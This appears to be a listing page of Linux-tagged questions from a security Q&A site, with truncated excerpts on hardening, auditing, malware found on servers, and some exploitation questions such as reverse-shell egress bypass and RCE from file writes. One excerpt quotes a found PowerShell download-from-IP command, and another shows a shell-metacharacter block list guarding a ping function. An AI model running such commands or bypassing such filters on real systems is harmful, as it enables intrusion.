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Questions tagged [linux]

Securing Linux systems and applications; understanding Linux security features.

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1answer
39 views

sudo white list just program perl

In visudo Ubuntu I white list this program myuser ALL=(root) NOPASSWD:/myuser/program.pl when I run sudo /myuser/program.pl I get prompt to set password solution add to visudo /usr/bin/perl ...
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0answers
30 views

How to write Seccomp rules to redirect write stderr to stdout

I would like to create seccomp rules (with https://github.com/david942j/seccomp-tools) to change the call : write(2,'error') to write(1'error') so redirect the write on stderr to a write on stdout.....
1
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1answer
159 views

Sacrificing 30% of my CPU performance (by disabling Hyper-Threading) to fully mitigate CPU vulnerabilities, necessary?

I used the spectre-meltdown-checker, version 0.42, without any option resulting in all-green results. But, in a help page, I found the --paranoid switch, which resulted in about a half of later CVEs ...
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0answers
19 views

RPC: How to authenticate the server towards the client(s)

I've implemented a client-server-model that runs locally on a linux machine. I've used the (old) ONC RPC / Oracle RPC based on an UNIX domain socket. There are some ways to authenticate the client, ...
0
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1answer
46 views

Logging new network connections without TCP Wrappers

My current job involves auditing systems for compliance with various policies. One of these policies is that all network connections must be logged, so that the origin of the connection (IP address ...
2
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0answers
33 views

How to securely run Puppeteer / Chromium in a Docker container?

Attempting to run Puppeteer, a Node library to control a headless Chromium (in order to do things like create a PDF of a website), in Docker is a surprisingly fiddly thing. The problem is that, from ...
2
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1answer
100 views

Remotely exploit Linux kernel with CVE-2017-18017? [closed]

I have set up a server running Linux Kernel 4.4. How can I exploit this, preferably not a DoS attack? I have opened port 80(https), however I would rather do it in an elegant fashion so I can actually ...
0
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1answer
30 views

How to block all inbound traffic from a specific Internet address or subnet using TomatoUSB router software (LINUX based)

I'm not trained in Linux, but I think I found the solution to my problem documented, but it is not working as expected. I am NOT an iptables guru, I'm learning as I go. A Russian IP is trying to ...
2
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2answers
179 views

Is this Bash code vulnerable to code injection?

I'm writing a libre program named "silently" for enhancing error handling in Bash, emulating the behavior of a jidoka. My question is if that eval would be vulnerable to code injection if the ...
1
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0answers
110 views

Bizarre request being made from Chrome

I've been seeing a very weird request being made from my Chrome browser (haven't noticed it on Brave). It does not run on all websites, and not all the time (it can appear on a website, then after a ...
0
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1answer
115 views

possible linux virus file

I found a file of unknown origin on a server called /var/tmp/f01bdc03. It was entered in root crontab to run every 10 minutes. So I made a VM and ran the program with strace. The only outside ...
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0answers
53 views

How to check security and other updates avaliable on linux distro automaticaly?

Let suppose we have network of 10 plus Linux machines having different distro (debian, Centos , Redhat and Arch etc ). Can we implement some centralized system where we have update about update on ...
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0answers
42 views

Learning how to audit a linux system, what does it mean to configure password & system auth?

I'm currently using Linux Red Hat OS, and I need to configure it accordingly to /etc/pam.d/password-auth and /etc/pam.d/system-auth under CIS Red Hat Enterprise Linux 8 Benchmark v1.0.0-1. What page ...
0
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0answers
42 views

What does “/ union” means while making kali persistence drive [migrated]

There is a command echo "/ union" > /mnt/UUI/persistence.conf while making kali persistence drive. What does "/ union" means why is it used?
2
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0answers
53 views

Patch management for production servers

I'm trying to implement an automated patching program at a small SaaS provider. When a customer signs up for our software, we provision them a Linux VM in our primary datacenter. Each customer also ...
3
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1answer
53 views

Difference between linux hash sum utilities and online string to hash utilities

When I go online and calculate a hash from a string on some generator website, no matter the algorithm or the website, it is always a different output than if I do echo "password" | sha256sum (or ...
1
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1answer
70 views

Is it possible to gain RCE from Arbitrary file write by an unprivileged user?

I am pentesting a PHP website running on Apache in a Ubuntu server. I found a vulnerability that allows me to write files to the target system. I know it's possible to write a php shell to the HTTP ...
0
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2answers
68 views

Does a user password protect against network attacks, or only physical?

If I create a user in a Linux system with an empty password, does that expose any remote vulnerabilities, or is it only a problem if someone gains physical access to the machine?
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0answers
38 views

How to extract cluster data for a jpeg image using autopsy

How do I find the exact partition of an image evidence in the hard drive that is being investigated? I know autopsy has a tool for it but I can't find it anywhere.
0
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0answers
40 views

After being AFK for a few hours, I found PowerShell commands in the currently opened LibreOffice document [duplicate]

I was AFK for a few hours. This is what I saw in my LibreOffice document when I returned to my laptop: cmd.exe /c PoweExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://92....
3
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1answer
108 views

Best practices to manage password for embedded Linux devices

Should we generate a strong password offline, keep it closely guarded secret, and use the same one across all copies of the device? The boot drive is eMMC flash soldered on the PCB, hard to read ...
3
votes
1answer
130 views

An alternative for /dev/urandom

I like to overwrite my harddisk with random data. Since /dev/urandom as source is too slow to overwrite a large amount of data in a reasonable time, I'm looking for a good alternative. These two ...
0
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1answer
46 views

Identity management in a mixed Linux/Windows environment

At places like Google, where some users use Linux and others use Windows and even Mac, how are they managing IDAM? For example have a single directory service (probably highly customised)? is it ...
-1
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0answers
67 views

Is shred, srm, or wipe, considered good enough against forensics (when using with ext4)? [duplicate]

Debian10 ext4; not using a "hdd" but rather my OS is on a 16GB micro-sd in orangepi. $ shred -zvu passwords-save $ srm -vz BoD $ wipe -rfi temp The following is from an article whereby the use of ...
0
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1answer
109 views

What ways can you monitor all changes made on a Linux server?

Sometimes we have contract developers that need to do work on the server (via ssh or sftp) and I've been looking for ways to monitor what they do on our Debian based server. We have ways of limiting ...
2
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0answers
47 views

How to store a key for a Java app server?

Assume I have a Java app running on a Linux server. The app needs a secret key to do a task, such as decrypting or encrypting a file, after it starts up. This is a question about best practice for ...
-1
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2answers
120 views

If my computer system is on, but none of my network connections are active, can someone work on hacking into my OS?

I thought I read that if my network connections, both wifi/ethernet, are NOT on, that if someone wanted to try and work on hacking my OS, that they would have to wait until the network connection is ...
1
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0answers
39 views

Is Linux password login inherently insecure or is it just that people use weak passwords? [duplicate]

The normal advice you see everywhere when setting up a Linux server is to setup SSH and disable the password login. Is this because there is some security issue with password logins or because sooner ...
2
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0answers
91 views

How to detect file or file system tampering

I would like to know if the following is possible: Is it possible to detect a file that has been put into my file system using back dating? Are there any trace artifacts left behind which can help to ...
-1
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1answer
81 views

Why does traceroute to my home router go outside of my local network?

Earlier today, I wanted to access the admin web server of my router. But for some reason, I was not able to access it, the web browser telling me there was no server on that address. I had internet ...
2
votes
4answers
140 views

Embedded system - is it a good idea to run the user application as root?

I'm working on a Linux powered consumer electronics. Everything user interacts with is running as root (legacy design). Should I make the application run as its own user with restrictions?
0
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2answers
103 views

Why doesn't nordvpn require sudo?

I've downloaded and installed nordvpn on Ubuntu and am a bit incredulous at its operation. After I downloaded its .deb file and installed it, apparently it can be activated with the command nordvpn ...
0
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1answer
56 views

Do world-writable systemd .service files created as symbolic links in /etc/systemd/system impose a security threat? [closed]

Do world-writable systemd .service files created as symbolic links in /etc/systemd/system impose a security threat? Would it be possible to somehow modify the links to target arbitrary .service files ...
2
votes
2answers
239 views

How to log passwords tried for login?

I was just watching Michal Hrušecký's presentation about their open source routers. In the presentation he showed their "Honeypot as a Service" offering and how it allows you to see the passwords that ...
67
votes
7answers
17k views

How to investigate an unknown 1.5GB file named “sudo” in my Linux home directory?

I found a file in my home directory named "sudo". It's 1.5GB in size and I have no idea where it came from. -rw-r--r-- 1 foo foo 1598296064 Aug 9 11:22 sudo Does anybody have any tips on how to ...
0
votes
2answers
161 views

Linux and Windows Password Security Settings

I'm asking a client why some password parameters are not defined in the Linux OS level and he's saying that, internally, Linux and Windows complexity and timeout settings are different. If they set ...
1
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0answers
52 views

Identification of Unknown Potential MITM/Malware involving SSL Connections

On my server one of the services is a Discord bot. It was down which prompted me to look into why. In my syslogs I noticed three increasingly concerning items: do-agent[1066]: 2019/08/25 08:50:21 ...
0
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0answers
70 views

How secure is passwordless and keyless SSH login on 127.0.0.1 only, over a secure authenticated tunnel?

I want to use CA signed SSH keys (that would be rotated frequently and have short expiry, ideally centrally managed, all that great stuff). Unfortunately, most of windows GUI tools, such as WinSCP or ...
0
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1answer
156 views

Preventing Basic Directory Traversal Attack in Linux application

I have a Raspberry Pi connected to my network and keep getting this vulnerability warning from my security software. I turned off the apache2 web server on the Pi, which fixed my port 80 issue but ...
0
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0answers
24 views

How to bypass egress traffic filtering for a reverse shell? [duplicate]

Say I have access to a linux server as non-root user (gained RCE using an exploit), say I am only able to run commands via http in bash/sh but I'm unable the to make the targeted server connect back ...
3
votes
2answers
293 views

Can I blindly trust 127.0.0.1?

On my system (Ubuntu Server 18.04, if that matters) I have two servers. They are behind a Nginx reverse proxy (i.e. accessing service.mywebsite.com internaly proxies the request to 127.0.0.1:...
1
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0answers
50 views

Why is keybase/gui_config.json owned by root?

I have keybase running on my Linux Desktop (Ubuntu 19.04). Since a recent update, the file ~/.config/keybase/gui_config.json is owned by root which is quite irritating. One negative effect of this is ...
0
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0answers
18 views

Issues with finding a gateway with static routing [duplicate]

I am doing this online lab where I am hosting a Kali Linux box in VmWare fusion, and VPNing into the online lab. These are my networking adapters once I connect via VPN: eth0: flags=4163<UP,...
4
votes
2answers
137 views

Deactivate Linux Shell to prevent “blind” login on router

Today I analyzed my home router. I connected a keyboard to the router's USB port, which is usually used for mass storage devices. However, I pressed the key combination to reboot a Linux system from ...
1
vote
1answer
243 views

Exploiting cron job running as root

There is a cron job running as root on a web server every 15 minutes: php cli-script.php (cli stands for "Command Line Interface", so is only accessible from command-line) It is not possible to ...
1
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0answers
55 views

x.509 certificate chain verification in Linux kernel prior to 4.12

I am trying to use certificate chain verification in Linux kernel. The purpose is to use IMA/EVM with public keys that are included in x.509 certificates signed by an own root CA. For this purpose I ...
0
votes
1answer
93 views

Analyze Windows Malware on Linux

I'm just getting started with the book 'Practical Malware Analysis', some of the exercises are using PEview and Dependency Walker however I'm slightly allergic to using Windows. Is it possible to ...
2
votes
1answer
100 views

Unix/Linux shells which use effective UID instead of real UID

My question is build on top of the answer of the question about SUID exploitation: SUID not used after exploit The person (official answer) is stating that: Many popular implementations of sh ...
3
votes
1answer
310 views

Replace forbidden characters function check python

I have "blackbox" with the following python function code (without permission to change it): def exec_ping(): forbidden = ['&', ';', '-', '`', '||', '|'] command = input('Enter an IP: ') ...
2
votes
1answer
170 views

Is it necessary to understand Linux kernel internals to do binary exploitation? [closed]

I am second-year CS student, I know C, OOP concepts, x86 architecture, reverse engineering basics, TCP/IP stack and OS concepts, also I love Linux OS. I have just one question: Is it a mandatory to ...